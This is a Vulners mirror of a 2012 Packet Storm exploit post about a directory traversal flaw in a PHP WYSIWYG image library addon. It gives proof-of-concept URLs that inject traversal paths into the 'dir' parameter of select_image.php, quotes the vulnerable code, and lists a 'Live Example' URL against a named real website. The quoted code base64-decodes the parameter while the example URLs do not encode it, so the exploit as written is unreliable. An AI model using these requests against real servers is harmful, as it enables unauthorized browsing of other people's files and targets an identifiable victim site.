Lucene search
K

Wysiwyg Imagelibrary Traversal

🗓️ 25 Oct 2012 00:00:00Reported by GeekType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Wysiwyg Imagelibrary Addons (Folders Traversal) vulnerability in select_image.ph

Code
`  
  
# Author : Geek  
# Title : Wysiwyg Imagelibrary Addons (Folders Traversal)  
# Date : Today :P  
# Site : Sec4ever.com  
  
# p0x :  
  
{x} http://localhost/lol/wysiwyg/addons/imagelibrary/select_image.php?dir=full path to public_html or httpdocs  
{x} http://localhost/lol/wysiwyg/addons/imagelibrary/select_image.php?dir=..%2Fhome..%2Fuser..%2Fpublic_html  
  
# Code :   
  
$get_dir = isset($_GET['dir']) ? prepare_input($_GET['dir']) : "";  
  
......  
  
if($get_dir){  
$dir = base64_decode($get_dir);  
  
if(substr($dir, -1, 1)!='/') {  
$dir = $dir . '/';  
}  
$dirok = true;  
$dirnames = split('/', $dir);  
for($di=0; $di<sizeof($dirnames); $di++) {  
if($di<(sizeof($dirnames)-2)) {  
$dotdotdir = $dotdotdir . $dirnames[$di] . '/';  
}  
}  
if(substr($dir, 0, 1)=='/') {  
$dirok = false;  
}  
  
if($dir == $leadon) {  
$dirok = false;  
}  
  
if($dirok) {  
$leadon = $dir;  
}  
}  
  
$opendir = $leadon;  
if(!$leadon) $opendir = '.';  
if(!file_exists($opendir)) {  
$opendir = '.';  
$leadon = $startdir;  
}  
  
  
# Live Example :   
  
{X} http://www.tourismhalong.com/includes/wysiwyg/addons/imagelibrary/select_image.php?dir=%2Fhome%2Ftouris8%2Fpublic_html  
  
# Greet'z : b0x,Sec4ever,paulzz,The Sword,The Injector,B07 M4ST3R,Jago :P,LinuxAC,Cmos-CLR :P <3 And All Sec4ever VIP Members And Others :)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Oct 2012 00:00Current
0.3Low risk
Vulners AI Score0.3
22